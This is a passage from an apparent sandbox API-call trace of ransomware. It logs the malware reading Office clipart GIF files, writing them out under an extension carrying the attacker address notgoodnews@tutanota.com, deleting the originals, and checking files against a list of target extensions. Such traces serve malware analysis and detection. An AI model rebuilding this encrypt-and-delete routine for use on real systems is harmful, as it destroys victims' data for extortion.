(in: hFile=0x324, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c4fec8 | out: lpNewFilePointer=0x0) returned 1 [0229.537] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00103_.GIF.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00103_.gif.id-9c354b42.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b0 [0229.538] GetLastError () returned 0x0 [0229.538] ReadFile (in: hFile=0x324, lpBuffer=0x37f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c4fed4, lpOverlapped=0x0 | out: lpBuffer=0x37f0020*, lpNumberOfBytesRead=0x2c4fed4*=0x319e, lpOverlapped=0x0) returned 1 [0229.546] WriteFile (in: hFile=0x3b0, lpBuffer=0x37f0020*, nNumberOfBytesToWrite=0x31a0, lpNumberOfBytesWritten=0x2c4fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37f0020*, lpNumberOfBytesWritten=0x2c4fc9c*=0x31a0, lpOverlapped=0x0) returned 1 [0229.550] ReadFile (in: hFile=0x324, lpBuffer=0x37f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c4fed4, lpOverlapped=0x0 | out: lpBuffer=0x37f0020*, lpNumberOfBytesRead=0x2c4fed4*=0x0, lpOverlapped=0x0) returned 1 [0229.550] WriteFile (in: hFile=0x3b0, lpBuffer=0x37f0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c4fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37f0020*, lpNumberOfBytesWritten=0x2c4fc9c*=0xec, lpOverlapped=0x0) returned 1 [0229.551] SetEndOfFile (hFile=0x3b0) returned 1 [0229.551] CloseHandle (hObject=0x3b0) returned 1 [0229.551] SetFilePointerEx (in: hFile=0x324, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c4fec8 | out: lpNewFilePointer=0x0) returned 1 [0229.551] SetEndOfFile (hFile=0x324) returned 1 [0230.032] CloseHandle (hObject=0x324) returned 1 [0230.032] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00103_.GIF.id-9C354B42.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x20) returned 1 [0230.035] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00103_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00103_.gif")) returned 1 [0230.036] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00103_.GIF") returned 63 [0230.036] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00103_.GIF") returned 63 [0230.036] lstrlenW (lpString=".doc") returned 4 [0230.037] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0230.037] lstrlenW (lpString=".docx") returned 5 [0230.037] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0230.037] lstrlenW (lpString=".pdf") returned 4 [0230.037] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0230.037] lstrlenW (lpString=".xls") returned 4 [0230.037] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0230.037] lstrlenW (lpString=".xlsx") returned 5 [0230.037] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0230.037] lstrlenW (lpString=".ppt") returned 4 [0230.037] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0230.037] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00103_.GIF") returned 63 [0230.037] lstrlenW (lpString=".zip") returned 4 [0230.038] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0230.038] lstrlenW (lpString=".rar") returned 4 [0230.038] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0230.038] lstrlenW (lpString=".bz2") returned 4 [0230.038] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0230.038] lstrlenW (lpString=".7z") returned 3 [0230.038] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0230.038] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00103_.GIF") returned 63 [0230.038] lstrlenW (lpString=".dbf") returned 4 [0230.038] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0230.038] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00103_.GIF") returned 63 [0230.038] lstrlenW (lpString=".1cd") returned 4 [0230.039] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0230.039] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00103_.GIF") returned 63 [0230.039] lstrlenW (lpString=".jpg") returned 4 [0230.039] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0230.039] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00103_.GIF") returned 63 [0230.039] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00103_.GIF") returned 63 [0230.039] lstrlenW (lpString=".doc") returned 4 [0230.039] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0230.039] lstrlenW (lpString=".docx") returned 5 [0230.040] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0230.040] lstrlenW (lpString=".pdf") returned 4 [0230.040] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0230.040] lstrlenW (lpString=".xls") returned 4 [0230.040] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0230.040] lstrlenW (lpString=".xlsx") returned 5 [0230.040] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0230.040] lstrlenW (lpString=".ppt") returned 4 [0230.040] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0230.040] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00103_.GIF") returned 63 [0230.040] lstrlenW (lpString=".zip") returned 4 [0230.041] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0230.041] lstrlenW (lpString=".rar") returned 4 [0230.041] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0230.041] lstrlenW (lpString=".bz2") returned 4 [0230.041] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0230.041] lstrlenW (lpString=".7z") returned 3 [0230.041] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0230.041] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00103_.GIF") returned 63 [0230.041] lstrlenW (lpString=".dbf") returned 4 [0230.041] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0230.041] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00103_.GIF") returned 63 [0230.041] lstrlenW (lpString=".1cd") returned 4 [0230.041] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0230.042] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00103_.GIF") returned 63 [0230.042] lstrlenW (lpString=".jpg") returned 4 [0230.042] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0230.176] lstrcmpiW (lpString1=".GIF", lpString2=".NEWS") returned -1 [0230.176] lstrlenW (lpString="AG00130_.GIF") returned 12 [0230.176] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00130_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00130_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c0 [0230.559] GetFileSizeEx (in: hFile=0x1c0, lpFileSize=0x2c4ff1c | out: lpFileSize=0x2c4ff1c*=5253) returned 1 [0230.559] CloseHandle (hObject=0x1c0) returned 1 [0230.560] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00130_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00130_.gif")) returned 0x20 [0230.648] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00130_.GIF.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00130_.gif.id-9c354b42.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0230.684] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00130_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00130_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ac [0230.759] SetFilePointerEx (in: hFile=0x3ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c4fec8 | out: lpNewFilePointer=0x0) returned 1 [0230.759] SetFilePointerEx (in: hFile=0x3ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c4fec8 | out: lpNewFilePointer=0x0) returned 1 [0230.759] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00130_.GIF.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00130_.gif.id-9c354b42.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b8 [0230.903] GetLastError () returned 0x0 [0230.903] ReadFile (in: hFile=0x3ac, lpBuffer=0x37f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c4fed4, lpOverlapped=0x0 | out: lpBuffer=0x37f0020*, lpNumberOfBytesRead=0x2c4fed4*=0x1485, lpOverlapped=0x0) returned 1 [0230.908] WriteFile (in: hFile=0x3b8, lpBuffer=0x37f0020*, nNumberOfBytesToWrite=0x1490, lpNumberOfBytesWritten=0x2c4fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37f0020*, lpNumberOfBytesWritten=0x2c4fc9c*=0x1490, lpOverlapped=0x0) returned 1 [0230.912] ReadFile (in: hFile=0x3ac, lpBuffer=0x37f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c4fed4, lpOverlapped=0x0 | out: lpBuffer=0x37f0020*, lpNumberOfBytesRead=0x2c4fed4*=0x0, lpOverlapped=0x0) returned 1 [0230.912] WriteFile (in: hFile=0x3b8, lpBuffer=0x37f0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c4fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37f0020*, lpNumberOfBytesWritten=0x2c4fc9c*=0xec, lpOverlapped=0x0) returned 1 [0230.912] SetEndOfFile (hFile=0x3b8) returned 1 [0230.912] CloseHandle (hObject=0x3b8) returned 1 [0230.913] SetFilePointerEx (in: hFile=0x3ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c4fec8 | out: lpNewFilePointer=0x0) returned 1 [0230.913] SetEndOfFile (hFile=0x3ac) returned 1 [0230.921] CloseHandle (hObject=0x3ac) returned 1 [0230.921] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00130_.GIF.id-9C354B42.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x20) returned 1 [0231.072] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00130_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00130_.gif")) returned 1 [0231.074] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00130_.GIF") returned 63 [0231.074] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00130_.GIF") returned 63 [0231.074] lstrlenW (lpString=".doc") returned 4 [0231.074] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0231.074] lstrlenW (lpString=".docx") returned 5 [0231.074] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0231.074] lstrlenW (lpString=".pdf") returned 4 [0231.075] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0231.075] lstrlenW (lpString=".xls") returned 4 [0231.075] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0231.075] lstrlenW (lpString=".xlsx") returned 5 [0231.075] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0231.075] lstrlenW (lpString=".ppt") returned 4 [0231.075] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0231.075] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00130_.GIF") returned 63 [0231.076] lstrlenW (lpString=".zip") returned 4 [0231.076] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0231.076] lstrlenW (lpString=".rar") returned 4 [0231.076] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0231.076] lstrlenW (lpString=".bz2") returned 4 [0231.076] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0231.076] lstrlenW (lpString=".7z") returned 3 [0231.076] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0231.077] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00130_.GIF") returned 63 [0231.077] lstrlenW (lpString=".dbf") returned 4 [0231.077] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0231.077] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00130_.GIF") returned 63 [0231.077] lstrlenW (lpString=".1cd") returned 4 [0231.077] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0231.077] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00130_.GIF") returned 63 [0231.077] lstrlenW (lpString=".jpg") returned 4 [0231.077] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0231.077] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00130_.GIF") returned 63 [0231.078] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00130_.GIF") returned 63 [0231.078] lstrlenW (lpString=".doc") returned 4 [0231.078] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0231.078] lstrlenW (lpString=".docx") returned 5 [0231.078] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0231.078] lstrlenW (lpString=".pdf") returned 4 [0231.078] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0231.078] lstrlenW (lpString=".xls") returned 4 [0231.078] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0231.078] lstrlenW (lpString=".xlsx") returned 5 [0231.078] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0231.078] lstrlenW (lpString=".ppt") returned 4 [0231.078] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0231.078] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00130_.GIF") returned 63 [0231.078] lstrlenW (lpString=".zip") returned 4 [0231.079] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0231.079] lstrlenW (lpString=".rar") returned 4 [0231.079] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0231.079] lstrlenW (lpString=".bz2") returned 4 [0231.079] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0231.079] lstrlenW (lpString=".7z") returned 3 [0231.079] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0231.079] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00130_.GIF") returned 63 [0231.079] lstrlenW (lpString=".dbf") returned 4 [0231.079] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0231.079] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00130_.GIF") returned 63 [0231.079] lstrlenW (lpString=".1cd") returned 4 [0231.079] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0231.080] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00130_.GIF") returned 63 [0231.080] lstrlenW (lpString=".jpg") returned 4 [0231.080] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0231.080] lstrcmpiW (lpString1=".GIF", lpString2=".NEWS") returned -1 [0231.081] lstrlenW (lpString="AG00158_.GIF") returned 12 [0231.081] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00158_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00158_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b0 [0231.081] GetFileSizeEx (in: hFile=0x3b0, lpFileSize=0x2c4ff1c | out: lpFileSize=0x2c4ff1c*=5030) returned 1 [0231.082] CloseHandle (hObject=0x3b0) returned 1 [0231.082] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00158_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00158_.gif")) returned 0x20 [0231.082] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00158_.GIF.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00158_.gif.id-9c354b42.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0231.082] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00158_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00158_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b0 [0231.083] SetFilePointerEx (in: hFile=0x3b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c4fec8 | out: lpNewFilePointer=0x0) returned 1 [0231.083] SetFilePointerEx (in: hFile=0x3b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c4fec8 | out: lpNewFilePointer=0x0) returned 1 [0231.083] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00158_.GIF.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00158_.gif.id-9c354b42.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0231.084] GetLastError () returned 0x0 [0231.084] ReadFile (in: hFile=0x3b0, lpBuffer=0x37f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c4fed4, lpOverlapped=0x0 | out: lpBuffer=0x37f0020*, lpNumberOfBytesRead=0x2c4fed4*=0x13a6, lpOverlapped=0x0) returned 1 [0231.172] WriteFile (in: hFile=0x390, lpBuffer=0x37f0020*, nNumberOfBytesToWrite=0x13b0, lpNumberOfBytesWritten=0x2c4fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37f0020*, lpNumberOfBytesWritten=0x2c4fc9c*=0x13b0, lpOverlapped=0x0) returned 1 [0231.175] ReadFile (in: hFile=0x3b0, lpBuffer=0x37f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c4fed4, lpOverlapped=0x0 | out: lpBuffer=0x37f0020*, lpNumberOfBytesRead=0x2c4fed4*=0x0, lpOverlapped=0x0) returned 1 [0231.175] WriteFile (in: hFile=0x390, lpBuffer=0x37f0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c4fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37f0020*, lpNumberOfBytesWritten=0x2c4fc9c*=0xec, lpOverlapped=0x0) returned 1 [0231.176] SetEndOfFile (hFile=0x390) returned 1 [0231.176] CloseHandle (hObject=0x390) returned 1 [0231.176] SetFilePointerEx (in: hFile=0x3b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c4fec8 | out: lpNewFilePointer=0x0) returned 1 [0231.177] SetEndOfFile (hFile=0x3b0) returned 1 [0231.968] CloseHandle (hObject=0x3b0) returned 1 [0231.969] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00158_.GIF.id-9C354B42.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x20) returned 1 [0232.116] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00158_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00158_.gif")) returned 1 [0232.255] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00158_.GIF") returned 63 [0232.255] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00158_.GIF") returned 63 [0232.255] lstrlenW (lpString=".doc") returned 4 [0232.255] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0232.255] lstrlenW (lpString=".docx") returned 5 [0232.255] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0232.256] lstrlenW (lpString=".pdf") returned 4 [0232.256] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0232.256] lstrlenW (lpString=".xls") returned 4 [0232.256] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0232.256] lstrlenW (lpString=".xlsx") returned 5 [0232.256] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0232.256] lstrlenW (lpString=".ppt") returned 4 [0232.256] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0232.256] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00158_.GIF") returned 63 [0232.256] lstrlenW (lpString=".zip") returned 4 [0232.256] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0232.256] lstrlenW (lpString=".rar") returned 4 [0232.256] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0232.257] lstrlenW (lpString=".bz2") returned 4 [0232.257] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0232.257] lstrlenW (lpString=".7z") returned 3 [0232.257] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0232.257] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00158_.GIF") returned 63 [0232.257] lstrlenW (lpString=".dbf") returned 4 [0232.257] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0232.257] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00158_.GIF") returned 63 [0232.257] lstrlenW (lpString=".1cd") returned 4 [0232.257] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0232.257] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00158_.GIF") returned 63 [0232.257] lstrlenW (lpString=".jpg") returned 4 [0232.257] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0232.258] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00158_.GIF") returned 63 [0232.258] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00158_.GIF") returned 63 [0232.258] lstrlenW (lpString=".doc") returned 4 [0232.258] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0232.258] lstrlenW (lpString=".docx") returned 5 [0232.258] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0232.258] lstrlenW (lpString=".pdf") returned 4 [0232.258] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0232.258] lstrlenW (lpString=".xls") returned 4 [0232.258] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0232.258] lstrlenW (lpString=".xlsx") returned 5 [0232.258] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0232.258] lstrlenW (lpString=".ppt") returned 4 [0232.258] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0232.258] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00158_.GIF") returned 63 [0232.258] lstrlenW (lpString=".zip") returned 4 [0232.259] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0232.259] lstrlenW (lpString=".rar") returned 4 [0232.259] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0232.259] lstrlenW (lpString=".bz2") returned 4 [0232.259] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0232.259] lstrlenW (lpString=".7z") returned 3 [0232.259] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0232.259] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00158_.GIF") returned 63 [0232.259] lstrlenW (lpString=".dbf") returned 4 [0232.259] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0232.259] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00158_.GIF") returned 63 [0232.259] lstrlenW (lpString=".1cd") returned 4 [0232.259] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0232.260] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00158_.GIF") returned 63 [0232.260] lstrlenW (lpString=".jpg") returned 4 [0232.260] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0232.260] lstrcmpiW (lpString1=".GIF", lpString2=".NEWS") returned -1 [0232.260] lstrlenW (lpString="AG00169_.GIF") returned 12 [0232.261] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00169_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00169_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b0 [0232.346] GetFileSizeEx (in: hFile=0x3b0, lpFileSize=0x2c4ff1c | out: lpFileSize=0x2c4ff1c*=5375) returned 1 [0232.346] CloseHandle (hObject=0x3b0) returned 1 [0232.346] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00169_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00169_.gif")) returned 0x20 [0232.371] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00169_.GIF.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00169_.gif.id-9c354b42.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0232.372] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00169_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00169_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ac [0232.373] SetFilePointerEx (in: hFile=0x3ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c4fec8 | out: lpNewFilePointer=0x0) returned 1 [0232.373] SetFilePointerEx (in: hFile=0x3ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c4fec8 | out: lpNewFilePointer=0x0) returned 1 [0232.373] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00169_.GIF.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00169_.gif.id-9c354b42.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) 